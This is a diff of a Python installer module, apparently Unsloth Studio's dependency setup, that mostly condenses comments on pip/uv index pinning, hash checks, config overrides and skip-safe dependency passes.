- # PIP_NO_INDEX=1 makes the pip fallback ignore ALL indexes, defeating --index-url; PIP_INDEX_URL is
- # dropped too so a stale mirror env cannot outrank the pin.
+ # PIP_NO_INDEX=1 makes pip ignore --index-url; PIP_INDEX_URL goes too so a stale mirror cannot win.
"PIP_NO_INDEX",
"PIP_INDEX_URL",
)
@@ -9918,16 +9243,14 @@ def _is_pinned_index_cmd(cmd: "list[str] | tuple[str, ...]") -> bool:
return any(arg in ("--index-url", "--default-index") for arg in cmd)
-# Unsatisfiable, not relaxed: every requirements file we ship is unhashed, so
-# require-hashes can only abort (#8530). Env beats config, so the variables go too.
+# Our requirements files are unhashed, so require-hashes can only abort. Env beats config.
_PM_HASH_ENV_VARS = (
"UV_REQUIRE_HASHES",
"PIP_REQUIRE_HASHES",
)
-# no-binary would FORCE a source build of a pinned wheel: clearing it is less build-time
-# execution, not more. UV_EXCLUDE_NEWER because only uv reads it, so honouring it on the uv
-# leg alone would let the pip fallback install past the cutoff.
+# no-binary would force source builds of pinned wheels. UV_EXCLUDE_NEWER is cleared because only uv
+# reads it, so the pip fallback could install past the cutoff.
_PM_FORCE_SOURCE_ENV_VARS = (
"UV_NO_BINARY",
"UV_NO_BINARY_PACKAGE",
@@ -9935,9 +9258,8 @@ _PM_FORCE_SOURCE_ENV_VARS = (
"UV_EXCLUDE_NEWER",
)
-# PIP_ONLY_BINARY stays in force: the pinned indexes serve wheels, rocm aside (see
-# _AMD_ARCH_INDEX_SDIST_ONLY_PACKAGES), so it costs the pin nothing. Measured on uv 0.10.7, UV_NO_BUILD / UV_NO_BINARY / UV_ONLY_BINARY are not uv
-# environment variables at all, so no uv.toml no-build can reach a pinned command.
+# PIP_ONLY_BINARY stays: pinned indexes serve wheels (rocm aside). UV_NO_BUILD / UV_NO_BINARY /
+# UV_ONLY_BINARY are not uv env vars (uv 0.10.7).
def _relaxed_pip_policy_env(cmd: "list[str]") -> "dict[str, str]":
@@ -9979,8 +9301,7 @@ def _is_pip_subcommand(cmd: "list[str]", subcommands: "tuple[str, ...]") -> bool
args = args[1:]
else:
return False
- # The first token that NAMES a subcommand, not the first without a dash:
- # `pip --cache-dir /tmp/c install x` puts a bare path before it.
+ # The first token naming a subcommand: `pip --cache-dir /tmp/c install x` has a bare path first.
for arg in args:
if arg in _PIP_SUBCOMMANDS:
return arg in subcommands
@@ -10082,16 +9403,12 @@ def _uv_staging_plan(name: str) -> "tuple[str, dict[str, str]] | None":
elif line.startswith("--hash="):
hashes.append(line.rstrip("\\").strip())
elif line.startswith(("--no-binary ", "--only-binary ")):
- # uv's artifact policy, which pip reads none of. Without it the repair can
- # download a wheel under a no-binary rule or build an sdist under an
- # only-binary one, changing the artifact type mid-repair.
+ # uv's artifact policy, which pip does not read; without it the artifact type could change mid-repair.
option, _, value = line.partition(" ")
build_options.extend((option, value.strip()))
elif line.startswith("# from "):
- # Names the index this package came from, the one to reproduce, but is not
- # usable as written: measured on uv 0.10.7 the annotation drops userinfo
- # while the emitted index lines keep it, so it is matched back to the
- # emitted URL. A private index would answer 401 otherwise.
+ # uv 0.10.7 drops userinfo from this annotation but keeps it on index lines, so match back to the
+ # emitted URL or a private index answers 401.
origin = line[len("# from ") :].strip() or origin
elif line and not line.startswith(("#", "-")):
# uv continues a hashed pin onto the following lines with a backslash.
@@ -10100,11 +9417,8 @@ def _uv_staging_plan(name: str) -> "tuple[str, dict[str, str]] | None":
requirement = pinned
if not requirement:
return None
- # Replaying uv's answer means replacing pip's candidate sources, not adding to them.
- # An inherited PIP_NO_INDEX would block the index uv picked, and an inherited
- # extra index or find-links directory could satisfy the same version from a source
- # uv never looked at, which is the provenance swap this whole path exists to stop.
- # Empty rather than deleted: measured on pip 26.2, an empty value reads as unset.
+ # Replace pip's candidate sources, not add to them, so nothing uv never looked at can serve it.
+ # Empty rather than deleted: pip 26.2 reads an empty value as unset.
overrides = {
"PIP_EXTRA_INDEX_URL": "",
"PIP_NO_INDEX": "",
@@ -10114,20 +9428,10 @@ def _uv_staging_plan(name: str) -> "tuple[str, dict[str, str]] | None":
if index_url:
overrides["PIP_INDEX_URL"] = index_url
elif find_links:
- # uv resolved this from a flat source with no index in play, which is what a
- # configured no-index looks like on the way out: it emits the find-links entry
- # and no index line at all. Leaving PIP_NO_INDEX cleared would hand pip back
- # the default PyPI and let it stage the same name and version from a source uv
- # was told to exclude.
+ # Flat source with no index means a configured no-index; keep pip off default PyPI.
overrides["PIP_NO_INDEX"] = "1"
- # Measured on uv 0.10.7: --emit-build-options surfaces the policy from uv.toml but
- # NOT the environment-variable spelling of it, so that half is translated by hand.
- # Only where pip has no setting of its own, which it reads natively.
- # UV_KEYRING_PROVIDER is the same translation: uv reaches an authenticated index
- # through the keyring CLI, and carrying only the URL leaves pip unable to fetch
- # what uv just resolved. uv's two values (disabled, subprocess) are both valid pip
- # values. Only the environment spelling is reachable here; a uv.toml
- # keyring-provider is not emitted, so that half cannot be replayed.
+ # --emit-build-options surfaces uv.toml policy but not the env spelling (uv 0.10.7), so translate
+ # that by hand, including UV_KEYRING_PROVIDER for authenticated indexes.
for uv_name, pip_name in (
("UV_NO_BINARY", "PIP_NO_BINARY"),
("UV_ONLY_BINARY", "PIP_ONLY_BINARY"),
@@ -10137,10 +9441,8 @@ def _uv_staging_plan(name: str) -> "tuple[str, dict[str, str]] | None":
if value and not os.environ.get(pip_name):
overrides[pip_name] = value
if hashes:
- # The hashes are what make this safe rather than merely careful. Measured: pip
- # verifies them even with PIP_REQUIRE_HASHES=0, and neither PIP_CONFIG_FILE nor
- # --isolated suppresses a site pip.conf, so pip may still consult a source uv
- # never considered. It can no longer accept a different artifact from one.
+ # The hashes make this safe: pip verifies them even with PIP_REQUIRE_HASHES=0 and may still read a
+ # site pip.conf.
requirement = " \\\n ".join([requirement, *hashes])
return requirement, overrides, build_options
@@ -10169,8 +9471,7 @@ def _pip_config_without_sources(directory: str) -> str:
[sys.executable, "-m", "pip", "config", "list"],
stdout = subprocess.PIPE,
stderr = subprocess.DEVNULL,
- # Dictate the child's encoding; see _decode_pip_output for why sniffing it
- # afterwards does not work. A non-ASCII cert path must survive this read.
+ # Dictate the child's encoding (see _decode_pip_output); a non-ASCII cert path must survive.
env = {**os.environ, "PYTHONIOENCODING": "utf-8"},
**_windows_hidden_subprocess_kwargs(),
)
@@ -10239,18 +9540,14 @@ def _credentialed_index(origin: str, emitted: "list[str]") -> str:
if origin:
target = _strip_userinfo(origin).rstrip("/")
matches = [url for url in emitted if _strip_userinfo(url).rstrip("/") == target]
- # One index can be emitted both with and without credentials; the whole point
- # here is the credentialed form, so it wins over a bare match on the same URL.
+ # The credentialed form wins over a bare match on the same URL.
for url in matches:
if _strip_userinfo(url) != url:
return url
if matches:
return matches[0]
- # The origin is not one of the emitted indexes, so it is a find-links source --
- # uv annotates those with a file:// or directory URL. That belongs in
- # PIP_FIND_LINKS, which is already set from the emitted find-links lines, and
- # must not displace the real index: an sdist picked out of a flat directory still
- # needs the index for its build backend.
+ # Not an emitted index, so a find-links source (already in PIP_FIND_LINKS); an sdist from it still
+ # needs the real index for its build backend.
return emitted[0] if emitted else ""
@@ -10330,22 +9627,19 @@ def _install_env_for_cmd(cmd: "list[str]") -> "dict[str, str] | None":
# Both config files go for the pin, so re-assert what they carried that it does not
# conflict with, from the section belonging to THIS command.
for name, value in _pinned_pip_config_overrides(_pip_subcommand_of(cmd)).items():
- # Not setdefault: pip ignores an EMPTY environment value and falls through to the
- # config file (verified with `pip config debug`), which devnull has just removed.
+ # Not setdefault: pip ignores an EMPTY env value and falls through to the (now devnull) config.
if not env.get(name):
env[name] = value
elif name in _PINNED_PIP_ENV_ACCUMULATING:
- # pip adds the environment's entries after the file's, in that order (pip 26.2:
- # file :all: then env :none: allows an sdist), so an env value must not replace it.
+ # pip applies env entries after the file's, so append rather than replace.
env[name] = f"{value},{env[name]}"
env["UV_NO_CONFIG"] = "1"
env["PIP_CONFIG_FILE"] = os.devnull
return env
-# What devnull must not take with it: transport, without which a private index cannot be
-# reached, plus only-binary. An ALLOWLIST: a config file holds options for any subcommand.
-# Absent on purpose: the source keys, no-binary and require-hashes.
+# Allowlist of config keys devnull must not drop (transport, only-binary). Source keys, no-binary and
+# require-hashes are absent on purpose.
_PINNED_PIP_CONFIG_KEEP_KEYS = (
"cert",
"client-cert",
@@ -10357,22 +9651,16 @@ _PINNED_PIP_CONFIG_KEEP_KEYS = (
"only-binary",
)
-# pip config is per subcommand: measured on pip 26.2, `[download] no-index` stops a
-# `pip download` and leaves `pip install` alone. A PIP_ variable is command-wide, so the
-# only faithful translation reads `[global]` plus the section for the command being run.
-# A uv command defaults to install, since the PIP_ vars only reach its pip fallback.
+# pip config is per subcommand while PIP_ vars are command-wide, so read [global] plus this command's
+# section. uv commands default to install.
_PINNED_PIP_CONFIG_GLOBAL_SECTION = "global"
_PINNED_PIP_CONFIG_DEFAULT_SECTION = "install"
-# Keys pip reads as a LIST, and the separator each is spelled with in the environment.
-# Only these: elsewhere the newline `pip config list` renders is part of one value, and
-# collapsing it would corrupt a path like `C:\Program Files\ca.pem`.
+# Only list-valued keys: collapsing newlines elsewhere would corrupt paths with spaces.
_PINNED_PIP_CONFIG_SEPARATORS = {"trusted-host": " ", "only-binary": ","}
-# ...and of those, the one pip ACCUMULATES across sections instead of overriding. Asked of
-# pip 26.2's parser with both sections set, `trusted_hosts` holds the install value alone
-# (assigned per section) while `format_control` holds both (a callback that mutates in
-# place). Accumulating trusted-host would re-trust a host install dropped, a TLS decision.
+# Only only-binary accumulates across sections (pip 26.2); accumulating trusted-host would re-trust a
+# host install dropped.
_PINNED_PIP_CONFIG_ACCUMULATING = frozenset({"only-binary"})
_PINNED_PIP_ENV_ACCUMULATING = frozenset(
f"PIP_{option.upper().replace('-', '_')}" for option in _PINNED_PIP_CONFIG_ACCUMULATING
@@ -10380,9 +9668,7 @@ _PINNED_PIP_ENV_ACCUMULATING = frozenset(
_PINNED_PIP_CONFIG_LISTING: "bytes | None" = None
-# Failures are NOT memoised: a transient miss must not cost the operator their cert for the
-# whole run, and a venv with no pip YET must be able to answer once it has one. Only a HANG
-# is budgeted, which would otherwise pay the timeout once per pinned command.
+# Failures are not memoised (transient misses, pip appearing later); only a hang is budgeted.
_PINNED_PIP_CONFIG_TIMEOUT = 30
_PINNED_PIP_CONFIG_ATTEMPTS = 2
@@ -10416,8 +9702,7 @@ def _pinned_pip_config_overrides(
[sys.executable, "-m", "pip", "config", "list"],
stdout = subprocess.PIPE,
stderr = subprocess.DEVNULL,
- # Dictate the child's encoding; see _decode_pip_output. Guessing loses a
- # non-ASCII cert path, and pip then fails rather than dropping the setting.
+ # Dictate the child's encoding (see _decode_pip_output) so a non-ASCII cert path survives.
env = {**os.environ, "PYTHONIOENCODING": "utf-8"},
timeout = _PINNED_PIP_CONFIG_TIMEOUT,
**_windows_hidden_subprocess_kwargs(),
@@ -10485,10 +9770,7 @@ def _parse_pinned_pip_config(
if option not in _PINNED_PIP_CONFIG_ACCUMULATING:
value = present[-1] # the command's section overrides global
else:
- # Accumulates across sections, and pip applies the entries IN ORDER, so a
- # re-add outranks the `:none:` that empties the set. Measured on pip 26.2:
- # [global] a,b plus [install] :none:,a keeps a. Deduplicating left `:none:`
- # last instead, letting a pinned install build the forbidden sdist.
+ # Keep order and duplicates: pip applies entries in order, so a re-add after `:none:` must stay last.
parts = [part for chunk in present for part in chunk.split(separator_for_key) if part]
value = separator_for_key.join(parts)
overrides[f"PIP_{option.upper().replace('-', '_')}"] = value
@@ -10508,8 +9790,7 @@ def pip_install_try(
``req`` goes through ``_effective_requirements`` exactly as in pip_install, so a file
installed through either entry point is the same file the install-manifest gate audits.
"""
- # Same reason as pip_install: this installs torch too (the Windows AMD ROCm trio),
- # so the memoized classification must not survive it.
+ # This installs torch too (Windows AMD ROCm trio), so drop the memoized classification.
_invalidate_torch_runtime_probe()
# Counted before the command: a failed install can still have moved metadata.
_count_install_action()
@@ -10764,8 +10045,6 @@ def _pip_install_once(
) -> None:
global _failed_install_output
_failed_install_output = b""
- # Any pip operation can change which torch is installed, so the memoized
- # classification must not outlive it.
_invalidate_torch_runtime_probe()
_count_install_action()
constraint_args_pip: list[str] = []
@@ -10774,9 +10053,7 @@ def _pip_install_once(
constraint_args_pip = ["-c", str(CONSTRAINTS)]
constraint_args_uv = ["-c", _uv_safe_path(CONSTRAINTS)]
- # _effective_requirements also drops torchcodec where no wheel exists (Linux aarch64,
- # Windows ARM64, Intel Mac). The gate audits the file this installs from, or a filtered
- # package reads as missing on every such host.
+ # _effective_requirements drops torchcodec where no wheel exists; audit that file, not the original.
actual_req = req
temp_reqs: list[Path] = []
if req is not None:
@@ -10802,12 +10079,8 @@ def _pip_install_once(
**_windows_hidden_subprocess_kwargs(),
)
if result.returncode == 0:
- # Echo success under UNSLOTH_VERBOSE, as install.sh's run_install_cmd
- # does. Without it the dependency phase never reached the log that
- # clean-machine-assert.sh's `nobuild` greps for uv's
- # "Building <pkg>==<ver>", so a source build here -- the studio.txt
- # install, where sdist-only dependencies show up -- reported
- # "built: none" and stayed green. Redacted: uv echoes credentialed URLs.
+ # Echo under UNSLOTH_VERBOSE like install.sh: clean-machine-assert.sh's `nobuild` greps the log for
+ # uv's "Building <pkg>==<ver>". Redacted: uv echoes credentialed URLs.
if VERBOSE and result.stdout:
_safe_print(_redact_install_output(result.stdout))
return
@@ -10869,8 +10142,7 @@ def _pip_install_once(
result = run(pip_label, pip_cmd, check = False, env = pip_env)
if result.returncode != 0:
_failed_install_output += result.stdout or b""
- # Retry once, and only after clearing something pip named as
- # unremovable: a blind retry of a failing install just doubles the wait.
+ # Retry once, only after clearing something pip named as unremovable.
cleared = _purge_recordless_distributions(result.stdout)
if not cleared:
_report_failed_command(pip_label, result)
@@ -10973,10 +10245,8 @@ def _has_working_git() -> bool:
exe = shutil.which("git")
if exe is None:
return False
- # Without the Command Line Tools, Apple Silicon's /usr/bin/git is Apple's shim, and running it
- # raises the "install the command line developer tools" dialog: the probe would fire the very
- # prompt it exists to avoid. Answer from the path, as install.sh does. Only that exact shim with
- # no toolchain selected; a Homebrew or Xcode.app git is real and is still run.
+ # Without the CLT, /usr/bin/git is Apple's shim and running it pops the install dialog; answer from
+ # the path as install.sh does. Homebrew / Xcode.app gits are still run.
if _is_unarmed_clt_git_shim(exe):
return False
try:
@@ -11126,9 +10396,7 @@ def _mlx_stack_is_current() -> bool:
return False
except Exception: # noqa: BLE001 - no packaging, or a version it cannot parse
return False
- # The four pins are satisfied; their dependencies are a separate question. This step
- # installs WITH dependencies, so it repairs an mlx-vlm whose miniaudio is gone, and audits
- # its closure for the same reason the requirements steps audit theirs.
+ # Pins satisfied is not closure satisfied; this step installs with deps, so audit the closure.
return not _mlx_closure_unmet()
@@ -11155,8 +10423,7 @@ def _mlx_closure_unmet() -> bool:
try:
import tempfile as _tempfile # noqa: PLC0415
- # mkstemp hands back an OPEN descriptor. Left open it leaks one per update, and on
- # Windows it also holds the file, so the unlink below cannot clear it.
+ # Close mkstemp's descriptor: it leaks per update and on Windows blocks the unlink.
_fd, _name = _tempfile.mkstemp(prefix = "unsloth-mlx-", suffix = ".txt", text = True)
os.close(_fd)
handle = Path(_name)
@@ -11168,10 +10435,8 @@ def _mlx_closure_unmet() -> bool:
encoding = "utf-8",
)
unmet = install_manifest.closure_unmet_requirements(handle, _installed_index())
- # An override REPLACES every requirement on the package it names, so the installed
- # version is the override's, not the one mlx-vlm's metadata asks for. Read raw, that
- # disagreement is permanent and this step runs on every update. An overridden package
- # that is ABSENT still counts: the step is what installs it.
+ # An override replaces every requirement on its package, so compare against the override; an absent
+ # overridden package still counts.
overridden = _overridden_project_names()
if overridden:
unmet = [
@@ -11201,8 +10466,7 @@ _MLX_HEALTH_PROBE = (
)
-# What the probe imports through mlx_lm and mlx_vlm besides the MLX pins: ranged, so one can move
-# with every step still satisfied, and a recorded verdict vouched for an import it never ran.
+# Ranged deps the probe imports through mlx_lm / mlx_vlm; one can move with every step satisfied.
_MLX_IMPORTED_DEPENDENCIES = (
"transformers",
"tokenizers",
@@ -11246,13 +10510,11 @@ def _mlx_payload_present() -> bool:
for name in ("mlx", "mlx_lm", "mlx_vlm", "transformers"):
if importlib.util.find_spec(name) is None:
return False
- # mlx-metal too: its payload is the Metal library the probe would exercise.
for dist_name in ("mlx", "mlx-metal", "mlx-lm", "mlx-vlm"):
# No RECORD is not "present".
if _recorded_payload_damaged(dist_name) is not False:
return False
- # And what the probe imports through them: a truncated tokenizers keeps its version and
- # metadata, and only the import would notice. Not installed at all is the probe's to report.
+ # A truncated tokenizers keeps its version and metadata; only the import notices.
for dist_name in _MLX_IMPORTED_DEPENDENCIES:
if not _installed_distribution_version(dist_name):
continue
@@ -11309,8 +10571,7 @@ def _report_mlx_stack_health(skipped: bool = False) -> None:
recorded = (_PASS_EVIDENCE or {}).get("mlx_health")
if (
skipped
- # A later step that moved transformers or tokenizers can break the import with every pin
- # unchanged: only a pass that installed nothing keeps its recorded verdict.
+ # A later step moving transformers or tokenizers can break the import with pins unchanged.
and _INSTALL_ACTIONS == 0
and isinstance(recorded, dict)
and recorded.get("ok") is True
@@ -11342,8 +10603,7 @@ def _report_mlx_stack_health(skipped: bool = False) -> None:
if blockers is None:
_step("mlx", "could not verify the MLX stack", _dim)
return
- # After the manifest is written, so a kill during the probe's 180 s timeout cannot lose a
- # finished install; update_manifest never raises and never creates one.
+ # After the manifest write, so a kill during the 180 s probe cannot lose a finished install.
install_manifest.update_manifest(mlx_health = {**fingerprint, "ok": not blockers})
if not blockers:
_step("mlx", "training stack ready")
@@ -11353,21 +10613,18 @@ def _report_mlx_stack_health(skipped: bool = False) -> None:
_step("", blocker, _warn)
-# The idempotent dependency pass. A skip is legal only when (a) the previous run recorded this
-# exact work, (b) the inputs are byte-identical and (c) a cheap on-disk check of the OUTPUT
-# passes. When in doubt, do the work: a wrong skip ships a venv that dies on `import structlog`.
+# Idempotent dependency pass: skip only when (a) the last run recorded this exact work, (b) inputs
+# are byte-identical, and (c) a cheap on-disk check of the output passes. When in doubt, do the work.
_FULL_DEPS_ENV = "UNSLOTH_STUDIO_FULL_DEPS"
# Real install/uninstall commands this pass ran; `pip check` and the metadata patch are gated on it.
_INSTALL_ACTIONS = 0
-# Last run's evidence, or None when this pass must do everything.
_PASS_EVIDENCE: "dict | None" = None
# False when a peer is already inside a pass on this venv, which refuses the evidence below.
_PASS_UNCONTENDED = True
# What this pass did per step. Only "ran" and "skipped" let the NEXT run skip.
_STEP_RESULTS: "dict[str, str]" = {}
-# The with-deps requirements steps this pass audited, for the closure record below.
_AUDITED_STEPS: "dict[str, Path]" = {}
_CONSTRAINTS_CACHE: "tuple[int, list[str]] | None" = None
@@ -11397,19 +10654,15 @@ def _closure_record() -> "dict[str, list[str]]":
unreadable environment would skip the step next time.
"""
record: dict[str, list[str]] = {}
- # Under a caller's PIP_NO_DEPS the unmet dependencies are deliberate, not known conflicts.
- # UV_OVERRIDE is the same case (_plan_pass already refuses evidence for it): it forces
- # versions past the pins that asked for them, so what it leaves unmet is its own doing.
+ # Under PIP_NO_DEPS or a foreign UV_OVERRIDE the unmet dependencies are deliberate.
if _foreign_resolver_inputs() or _foreign_uv_override_in_effect():
return record
- # A hand-edited manifest can carry anything under this key; it reaches here outside the
- # per-step try below, and this runs while write_manifest's arguments are being built.
+ # A hand-edited manifest can carry anything here, and this must not raise.
previous = (_PASS_EVIDENCE or {}).get("known_unmet")
if not isinstance(previous, dict):
previous = {}
for key, req in _AUDITED_STEPS.items():
- # An argument to write_manifest, so every install has already landed and nothing here may
- # raise: the core step can have replaced the tree these paths came from.
+ # Runs while building write_manifest's arguments, after every install: must not raise.
temps: list[Path] = []
try:
effective, temps = _effective_requirements(req)
@@ -11418,25 +10671,17 @@ def _closure_record() -> "dict[str, list[str]]":
unmet = ["<audit failed>"]
finally:
for temp in temps:
- # An unlink that raises here would end the pass between the last install and
- # the manifest write. A temp file left behind is the cheaper outcome.
+ # A leftover temp file is cheaper than ending the pass before the manifest write.
try:
temp.unlink(missing_ok = True)
except OSError:
pass
audited = not any(entry.startswith("<") for entry in unmet)
- # Only a version CONFLICT can be a known conflict: closure_unmet_requirements names an
- # absent distribution by itself and one outside its specifier as "name version". An
- # absent one is work this step does, and recording it would excuse the install that
- # repairs it. Reachable through a pip.conf with no-deps, which the guard above cannot
- # see.
+ # Only version conflicts can be known conflicts; an absent distribution is work this step does.
unmet = [entry for entry in unmet if entry.startswith("<") or " " in entry]
if _STEP_RESULTS.get(key) == "skipped":
- # Narrowed to what is still unmet, or a later loss of a since-satisfied package
- # hides behind the record. An audit that could not run keeps it as it was, and a
- # step that did not run adopts nothing it never stood behind.
+ # Narrowed to what is still unmet, so a later loss does not hide behind the record.
carried = list(previous.get(key) or []) if isinstance(previous.get(key), list) else []
- # Same rule for a record written by an earlier build of this code.
carried = [entry for entry in carried if " " in entry]
if audited:
carried = [entry for entry in carried if entry in unmet]
@@ -11517,37 +10762,29 @@ def _plan_pass(package_name: str, local_repo: str, ci_source_overlay: str) -> "d
Must run BEFORE remove_manifest: the manifest is the only copy, and it is dropped
up front precisely so a run killed mid-pass cannot leave a valid one behind.
"""
- # The parked copy is consumed before the refusals below: a forced pass mutates the venv too, and
- # one killed part-way must not leave it as evidence of a completed pass.
+ # Consume the parked copy before the refusals: a forced pass killed part-way must not leave it as
+ # evidence.
manifest, manifest_error = None, False
try:
manifest = install_manifest.read_manifest()
- # setup.ps1 drops the live manifest before this runs; the parked copy is the last completed
- # pass's record. Evidence only: every skip is re-verified on disk.
+ # setup.ps1 drops the live manifest first; the parked copy is evidence only, re-verified on disk.
if not manifest:
manifest = install_manifest.read_previous_manifest()
- # Read once: like the live manifest, the parked copy must not survive a pass killed
- # part-way as evidence over a half-modified venv.
if manifest:
install_manifest.consume_previous_manifest()
except Exception: # noqa: BLE001 - an unreadable manifest is a full pass, never a crash
manifest_error = True
if _full_deps_requested():
return _refuse_evidence("UNSLOTH_STUDIO_FULL_DEPS requested")
- # A peer inside its own pass is replacing the packages this evidence describes, so every
- # step runs. The parked copy is consumed above either way.
+ # A peer pass is replacing these packages, so run every step.
if not _PASS_UNCONTENDED:
return _refuse_evidence("another install is already running in this venv")
- # Dev shapes: an editable overlay or another package name is not the tree the manifest
- # describes.
if local_repo or ci_source_overlay or package_name != "unsloth":
return _refuse_evidence("development install shape")
- # UV_OVERRIDE replaces requirements outright. The bundled macOS arm64 file is digested by the
- # gate; a caller's own file is an input no digest covers.
+ # A caller's own UV_OVERRIDE file is an input no digest covers.
if _foreign_uv_override_in_effect():
return _refuse_evidence("a caller-supplied UV_OVERRIDE is in effect")
- # UV_CONSTRAINT / PIP_CONSTRAINT change what a step installs without touching a digested file,
- # and PIP_NO_DEPS would leave the closure record carrying deliberate gaps as known.
+ # Constraint env vars change installs without touching digested files; PIP_NO_DEPS leaves deliberate gaps.
foreign = _foreign_resolver_inputs()
if foreign:
return _refuse_evidence(f"caller-supplied resolver input in effect: {', '.join(foreign)}")
@@ -11557,7 +10794,6 @@ def _plan_pass(package_name: str, local_repo: str, ci_source_overlay: str) -> "d
return _refuse_evidence("no manifest, or a schema this build does not read")
inputs = manifest.get("pass_inputs")
results = manifest.get("step_results")
- # Written by a build that predates this, so it can answer for nothing.
if not isinstance(inputs, dict) or not isinstance(results, dict):
return _refuse_evidence("manifest written by a build that recorded no pass inputs")
if manifest.get("python") != platform.python_version():
@@ -11623,8 +10859,7 @@ def _effective_requirements(req: Path) -> "tuple[Path, list[Path]]":
actual = _filter_requirements(actual, WINDOWS_SKIP_PACKAGES)
temps.append(actual)
if _is_win_arm64_interpreter():
- # Judged against the ORIGINAL file: the pins decide whether a hosted wheel is usable,
- # and a copy already filtered above no longer carries the rows they sit on.
+ # Judged against the original file: the filtered copy lost the pinned rows.
arm64_skip = _windows_arm64_skip_packages(req)
if arm64_skip:
actual = _filter_requirements(actual, arm64_skip)
@@ -11633,8 +10868,7 @@ def _effective_requirements(req: Path) -> "tuple[Path, list[Path]]":
actual = _filter_requirements(actual, NO_TORCH_SKIP_PACKAGES)
temps.append(actual)
if PLATFORM_LACKS_TORCHCODEC_WHEEL and not _wheelhouse_hosts("torchcodec"):
- # Linux aarch64 / Windows ARM64 / Intel Mac have no torchcodec wheel, unless the
- # win_arm64 wheelhouse hosts one -- step 13b installs that copy itself.
+ # No torchcodec wheel on these hosts; step 13b installs a wheelhouse copy itself.
actual = _filter_requirements(actual, {"torchcodec"})
temps.append(actual)
return actual, temps
@@ -11691,8 +10925,7 @@ def _installed_index() -> "dict | None":
"""
global _CLOSURE_INDEX_CACHE
if _CLOSURE_INDEX_CACHE is None or _CLOSURE_INDEX_CACHE[0] != _INSTALL_ACTIONS:
- # importlib.metadata revalidates its listing cache on mtime, one-second granular on
- # some filesystems, so a rebuild in the same tick as its install reads the old one.
+ # importlib.metadata caches on mtime (one-second granularity on some filesystems).
importlib.invalidate_caches()
try:
index = install_manifest.installed_dependency_index()
@@ -11705,8 +10938,7 @@ def _installed_index() -> "dict | None":
def _inputs_unchanged(keys: "list[str]") -> bool:
recorded = (_PASS_EVIDENCE or {}).get("pass_inputs") or {}
for key in keys:
- # Membership first: an unreadable input is left out of both sides, and a missing key
- # compared against None would read as unchanged.
+ # Membership first: a missing key compared against None would read as unchanged.
if key not in recorded:
return False
current = install_manifest.digest_file(REQ_ROOT / key)
@@ -11783,8 +11015,7 @@ def _requirements_satisfied(
# (a) the previous run recorded that it did this exact work
if (_PASS_EVIDENCE.get("step_results") or {}).get(key) not in ("ran", "skipped"):
return _refuse_step(key, "last run did not record this step")
- # (b) the inputs are byte-identical, the constraints file and the macOS arm64 overrides
- # included: they move under an unchanged requirements file.
+ # (b) the inputs are byte-identical, constraints and macOS arm64 overrides included.
keys = [key]
if constrain:
keys.append("single-env/constraints.txt")
@@ -11794,33 +11025,26 @@ def _requirements_satisfied(
return _refuse_step(key, "an input file changed")
# (c) the output is still on disk.
importlib.invalidate_caches()
- # Inside the try: on a filtering host this reads the file, and a tree the core step replaced
- # mid-pass is a reason to run the step, not to end the update.
+ # Inside the try: a tree replaced mid-pass means run the step, not end the update.
temps: list[Path] = []
try:
effective, temps = _effective_requirements(req)
if _includes_another_requirements_file(effective):
- # The digest covers this file; an -r target is a second file pass_inputs does not
- # name, and missing_requirements skips flag lines, so a pin behind the include can
- # move unseen. No shipped file uses one, so the refusal costs nothing today.
+ # The digest does not cover -r includes, so refuse; no shipped file uses one.
return _refuse_step(key, "the file includes another requirements file")
missing = install_manifest.missing_requirements(effective)
if missing:
return _refuse_step(key, f"not installed or outside the pin: {missing[:5]}")
- # ...and the output's own dependencies: `mammoth>=1.8.0` stays satisfied with its `cobble`
- # gone, and this step is what repaired that. Not asked of --no-deps steps.
+ # ...and the output's own dependencies (mammoth stays satisfied with cobble gone). Not for --no-deps.
if not no_deps:
unmet = install_manifest.closure_unmet_requirements(effective, _installed_index())
- # What the last pass left unmet right after this step (disjoint pins) is not
- # missing work; anything new is. Honoured only against the installed set it was
- # recorded on, since a requirer that moved may have dropped the bound.
+ # Unmet entries the last pass left are not missing work, but only on the same installed set.
known: set = set()
if _PASS_EVIDENCE.get("known_unmet_index") == _installed_index_digest():
known = set((_PASS_EVIDENCE.get("known_unmet") or {}).get(key) or [])
unmet = [entry for entry in unmet if entry not in known]
if unmet:
- # Named under UNSLOTH_VERBOSE: an audit that can never pass makes every update a
- # full pass, and nothing else says why.
+ # Named under UNSLOTH_VERBOSE: an audit that can never pass makes every update a full pass.
if VERBOSE:
_note(f"{key}: {unmet[0]} is not satisfied -- running the step")
return False
@@ -11862,8 +11086,7 @@ def _skip_step(
"""
key = _pass_input_key(req) or str(req)
if not no_deps and _pass_input_key(req) is not None:
- # Registered whether or not skipped, so the first pass records what its closure cannot
- # satisfy.
+ # Registered even when skipped, so the first pass records what its closure cannot satisfy.
_AUDITED_STEPS[key] = req
if superseded:
_progress(f"{progress_label} (superseded, skipped)")
@@ -11894,8 +11117,7 @@ def _direct_reference_in_requirements(req: Path) -> "tuple[str, str, str] | None
continue
rest = stripped.partition("git+")[2]
base, _, fragment = rest.partition("#")
- # The last "@" IN THE PATH: the whole URL's last "@" may be git+ssh userinfo, and the last
- # "@" before the last "/" misses a branch with a slash (release/3.6.x).
+ # The last "@" in the PATH: git+ssh userinfo has an "@" and branches can contain "/".
scheme, separator, remainder = base.partition("://")
netloc, slash, path = remainder.partition("/") if separator else ("", "", base)
cut = path.rfind("@")
@@ -11916,7 +11138,6 @@ def _direct_reference_in_requirements(req: Path) -> "tuple[str, str, str] | None
_COMMIT_REVISION_RE = re.compile(r"[0-9a-fA-F]{7,40}")
-# The hosts whose /archive/<commit>.zip is the same tree git would have cloned.
_GITHUB_ARCHIVE_HOSTS = ("github.com", "www.github.com")
@@ -11988,13 +11209,8 @@ def _direct_reference_is_installed(req: Path, dist_name: str) -> bool:
return False
vcs = payload.get("vcs_info")
if not isinstance(vcs, dict):
- # The no-git route installed the same commit from a zip, which pip records as archive_info
- # with no ref at all, so the URL is the only evidence there is. For a full commit that is
- # exactly as strong as the vcs record, because the SHA is IN the URL. Reading it matters as
- # much as writing it: without this the archive build is never recognised as resident, so
- # _diffusers_main_supersedes_release reads the main build as absent, the RELEASE pin
- # reinstalls over it on the very next pass, and a git-less host silently loses the build it
- # was just given. Measured, not theorised: the zip went in, the next update put 0.40.0 back.
+ # The no-git zip install is recorded as archive_info without a ref, so the URL (which holds the SHA)
+ # is the evidence; otherwise the release pin reinstalls over the main build next pass.
archive = _github_archive_url(url, revision, subdirectory)
return (
archive is not None
